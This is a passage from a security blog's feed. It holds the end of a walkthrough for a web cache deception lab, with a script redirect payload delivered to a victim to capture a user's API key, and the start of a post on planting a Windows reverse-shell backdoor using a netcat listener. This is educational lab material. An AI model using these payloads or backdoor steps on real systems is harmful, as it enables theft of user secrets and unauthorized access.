  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;605&quot;
      data-original-width=&quot;906&quot;
      height=&quot;428&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRyDSxMRNjIM4aGwYMN5CmX5Cv7nLom3yMX-kwQZ21sdttSP-I7XP9oAE78J665JKcIb-ny0UuO2sMoum6U5SPYK2wOJY2WvC0BcAqScGunkCvA6FvFd8xLoIETcu42GQiNEuZqzmYNSgm5uJuzZo229CE86R_bkPHrgi8dFH2TQsAllsaEBbivJJG2l4w/w640-h428/14.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  As i have to told you above about &lt;b&gt;x-cache : miss &lt;/b&gt;&amp;amp;&amp;nbsp;&lt;b
    &gt;&amp;nbsp;x-cache : hit. &lt;/b
  &gt;Please be carefully to read the each and every sentence.
&lt;/p&gt;
&lt;p&gt;
  After that in repeater tab you simply send the request if you have to see like
  again &lt;b&gt;x-cache : miss &lt;/b&gt;in response side then
  &lt;b&gt;wait 30-40 seconds &lt;/b&gt;and
  &lt;b&gt;send again the request and see the response.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;500&quot;
      data-original-width=&quot;1038&quot;
      height=&quot;308&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0GI3uewt27XII40u3sFXdGC0KNhUNImziqyuWnjg18yFHAapaLUUO_6CvkkrfMH08061gW7LU2E4Y8-O1kbw8Ey20wVM_qYCTe_0T1GGjOXFh7BK70HNftHOdPgtXw1r3CxQCFpo4fkPmUKoWhuZL55TAsIXM-JUeMBXeWAwQeT8ygTCmTyNIsbEwNuHQ/w640-h308/15.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;473&quot;
      data-original-width=&quot;881&quot;
      height=&quot;344&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXLx0ychJKsJGFgg4gqxfv5So6zVNiNF0R8jtgAbxrJEhSU4OriNRPv7rjvtTjwb1fgv9gEQaNFjEok7A0s3szXBHy7cs3ynF3Xh6t2NpQwJnW2e_D-lhwSiKNqDV4XUWW7x-YP-cPw3HfT1IjnWiCFnk_x-RXIZ8w0ur-bmiexHUk-trAsT9D7Ek3Zndx/w640-h344/16.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After 30-40 sec you need to try again to send the request and see the response
  in right side. &lt;b&gt;Now &lt;/b&gt;you can see that &lt;b&gt;x-cache : hit (&lt;/b&gt;The response
  was served from the cache.&lt;b&gt;)&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;440&quot;
      data-original-width=&quot;957&quot;
      height=&quot;294&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEHn303i9GbFgNSS2u-g81MjOtDMP9m6uAebrAJpAL54WifXAA_oQNVheuEeY-OZ_d4G_6M-w6bvMYKKEOlpJQzB5wUOOBz7-UfvH0I0_1vzON7cOaRmItNl3cYQO2g9-5lKjcwwlCu6jCBl6zf7BfyWtCnEU0wPiXlqxzzdQRqZqhBhzmk3SOdZtZv44i/w640-h294/17.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  Now copy the whole URL and turn off the &lt;b&gt;proxy&amp;nbsp;&lt;/b&gt;&amp;nbsp;and
  &lt;b&gt;go to exploit server options page.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;441&quot;
      data-original-width=&quot;1191&quot;
      height=&quot;236&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMPxuQLgJLXb9PWOTIwkuTfEpWULv-udjuD6cB50DqQ0GftRkWJ4N4BFhP85hQTi_Q3L4my20n0ocf3kSUN6kAuWtyr5I8ZXfVCMLbaxQZaswlkWBvLmdxh7faTb5zRe8ljDCTeavZJDIHvVBjpvZ4b11rsQYxyd8IIfp4CePNLuuEpMVn5JoZQdNnpUGX/w640-h236/18.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;666&quot;
      data-original-width=&quot;1159&quot;
      height=&quot;368&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxcHHmhIKyuWkhiTJNSUfZrzaDF3ds2xURX4ITnZfQcVAlvSKFrElSJjzOR1ZHnnXbZ9nwraB_ss4-ou2ksqaDunTbRPHPuXgq50UPl4woyLK82ZDpPKeSohizxSpQsrQTGjpMvP4wnH958Z1vU1qPeQ0DqIm-UjIshfCBrVdwP8D0PC4e2JtsHbxdmS3Y/w640-h368/19.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep  2024 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2642069341&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;571&quot;
      data-original-width=&quot;1221&quot;
      height=&quot;300&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8aqyO30QvOKH8H243PRoPQaLpTIZDiz_0hTfWs84enR2VctTlqHSVOBtKKNrkhWQsXjph_d7APUQEfaM7eaDnpK4H5eBHJu2JDCF2qHYJRPd8tHpoe5oI7fqF900kRufbOtqw7mjWSAtdZhpUESN1vP0Iy1fIXMEsGP67tCCoVH5MGl2lZvahz_Rl6cg9/w640-h300/20.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;and copy our code and paste into &lt;b&gt;body section.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;&amp;lt;script&amp;gt;window.location=&quot;https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js&quot;&amp;lt;/script&amp;gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;Or you reverse the &lt;b&gt;js file name like that&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;&amp;lt;script&amp;gt;window.location=&quot;https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/21.js&quot;&amp;lt;/script&amp;gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Then,&lt;/b&gt;&amp;nbsp;Delivery exploit to &lt;b&gt;victim.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;648&quot;
      data-original-width=&quot;1253&quot;
      height=&quot;330&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitU42kBtgwHxZL3kuF3dDFRfEC7mfgwFTHJBQA6XOIj02fUwlwOkdKWXi9EY9V1JNdZO97mqwxXUEoCMLPpOIBDx4_9NqoC7jfTqN_JTLQHlQnfxj8oBi6HWbJaaC6Be_mOoF_xxL3d2VxoRJ4NHHZwIRi8fgN9FtC3uOL_5h0_qXPbxPQjgaose7R4pz2/w640-h330/21.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;640&quot;
      data-original-width=&quot;1195&quot;
      height=&quot;342&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYvS5qhApbL4nRt9yNpm7JisrHJPSMzvV4NkS0bTWGQ1j9yEcployRnBDnN-wlYdnP1yAInQ23dLQ6TWCLjijD6UVy3NEyMzZRW6x9bRtg1zBjvkZUfLn6QJUGsJir7OuOcGnrMwag1RcIh1Q8vR48ahdtdFR8sBItrT39mvgbl6bMbNFiOSglIPy6e25_/w640-h342/22.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;after that&amp;nbsp;&lt;/b&gt;&amp;nbsp;click on &lt;b&gt;View exploit &lt;/b&gt;OR&amp;nbsp;&lt;b
    &gt;&amp;nbsp;simple copy the&amp;nbsp;&lt;/b
  &gt;&lt;b
    &gt;&amp;lt;script&amp;gt;window.location=&quot;https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js&quot;&amp;lt;/script&amp;gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;and open in new tab browser.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;361&quot;
      data-original-width=&quot;953&quot;
      height=&quot;242&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQzjtjrtYtrBOy5mPhSu2kO2syEnTnmAqnFHcxsujFL9gXfpqbRjV8dCULDQUX1nLXjtzerxP3pIxfgmR5dWXLKfHia48WGIYPMMR7q7Wq1pYVRTM2s9fj8ZHMZh_KLP77hftkr1qrlQXleyDV2OK09x_3m7cvVjTvwIwlRvYMnE0xA3Yakvxn7g7i6bs2/w640-h242/23.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Notice that the response includes the API key for carlos. Copy this.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;402&quot;
      data-original-width=&quot;821&quot;
      height=&quot;314&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpSSaeF8lBiepl6HoXVnV-nDGbM1Yzo5znGpc7SgcdO3liB5-6chP15VlUQUTFaxLKBFcSlcWSALFTwaammlIBvkoL0ZarqwTuJVBXSVZ3QsFn8sukFuDL22xuez1vgxbyOp9r9SYscr5cRWhQTFyPspA0j368PKtGEKRebTeY7so0xU5o6alJRAUTBZ5V/w640-h314/24.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;
    Click Submit solution, then submit the API key for carlos to solve the lab.
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;594&quot;
      data-original-width=&quot;960&quot;
      height=&quot;396&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGi-ZTVsNKyRyydos9sEYyyCs6HS3pGykOqaQ1fmSixtZ-pYyIt3BahHthJM5dPtAgTRsX3W9wkNqZg6t2EW50FuuyAPnvyOOU1YQpOYFZ_cu3dGOygsvKlKgKggcORjCeVOagwf70ViiwlsNBPqRUu-gfjwfcJR-O6C2yDbeDwXvgcbJcFt2vKiQAok0k/w640-h396/25.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;565&quot;
      data-original-width=&quot;1283&quot;
      height=&quot;282&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNWaTOxvNieNEJpPHil9SokMcRaYIeGEhBQT7nKjY4Sd6GHJqDa8GbyT5d7gVJ_3S23z2pr3f-LxNhlMs-PUF6piQEVGajZqd7lV1CJZGRKvrbLZU3qhaXApTSCBwE5Inp5kn7jdX7wUVb5hVMCgM8XdYdBemQZY0v-gfPWlM7CLi_k_EeySdsqzg7G4BY/w640-h282/26.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;Disclaimer&lt;/h4&gt;
&lt;p&gt;
  All tutorials are for informational and educational purposes only and have
  been made using our own routers, servers, websites and other vulnerable free
  resources. we do not contain any illegal activity. We believe that ethical
  hacking, information security and cyber security should be familiar subjects
  to anyone using digital information and computers. Hacking Truth is against
  misuse of the information and we strongly suggest against it. Please regard
  the word hacking as ethical hacking or penetration testing every time this
  word is used. We do not promote, encourage, support or excite any illegal
  activity or hacking.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/2788788459244676829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2024/09/exploiting-path-mapping-for-web-cache.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2788788459244676829'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2788788459244676829'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2024/09/exploiting-path-mapping-for-web-cache.html' title='Exploiting path mapping for web cache deception Lab'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX87dOT5VqKAucBveCDMdjFtgghCOMZ4M9JfmT5JEp3Un67GVRbR88H2eGNqXrgptGBLUO9Ghtb1XpZTbDc-7xmvnEfBQUuza4vDm7CMD3LOTkMKMIRn-MeSLGIJkHPZR-2xnH-R6VrohWCE1EJuDC4JCtWPY0U2n4sEFVBQ2buy4Noo4zNEfdUIS9W1Q3/s72-w640-h360-c/Exploiting%20path%20mapping%20for%20web%20cache%20deception.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-1309143731985384421</id><published>2024-09-11T10:56:00.000-07:00</published><updated>2024-09-12T06:06:41.244-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="netcat"/><category scheme="http://www.blogger.com/atom/ns#" term="penetration testing"/><title type='text'>Connecting from Linux to Windows Reverse Shell</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR4DYoKULdMyTBQbrnzo9zlG8VPsEFhh5zE9tJwHioiB3o9byYcPIo6Ym-BxhTLhReLCUzdyKiIQMaH5KajlfjCF7UqHMPwrCGEpNPa6M9ja8UojGeQZCxiS9oFDhgOVdDIFgfUqBNcB2z2Q-AS0E5_VIEuc1rzsMzFvgKOkULi8YzjRK00E9RwV6lJwe4/w640-h360/windows-reverse-shell-hackingtruth.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  Hello welcome folks, we are writing a new blog about how to attacker can gain
  a reverse connection to the windows 10 machine. Reverse connection via we are
  connecting now in a same private network but you can connect into another
  another connection.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  A system&#39;s backdoor welcome us every time with open hands whenever we
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    rel=&quot;nofollow&quot;
    target=&quot;_blank&quot;
    &gt;knockback&lt;/a
  &gt;. Thus we will try to generate such a similar backdoor over the target&#39;s
  windows machine, which allow us to get in , at any time when we get
  back.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Setup Listener&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;First we setup to a listener over our kali machine&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -lvp 4444&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      border=&quot;0&quot;
      data-original-height=&quot;183&quot;
      data-original-width=&quot;553&quot;
      height=&quot;212&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZgF1iGQfV-qKi_aZq1QVHS214m-fG8J3zcajUXLqphi57REQqkBGn_vEu8ZgG8jnEwusHv4DGse5f5K6snVST_nZ9bOSOH32OtWTjZgM21kOMHh01jv41M5jbIR1VQEuOn_B3Ux-_ELi9T3qDCHc_uC-a_qUOiHoS3N09JHim60DKakgOMBnGh62pTGzU/w640-h212/netcat-reverse-shell-2.png&quot;
      title=&quot;Connecting from Linux to Windows Reverse Shell&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now we will check our linux&#39;s machine IP via&amp;nbsp;&lt;b&gt;ifconfig wlan0 &lt;/b&gt;or
  &lt;b&gt;ifconfig .&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
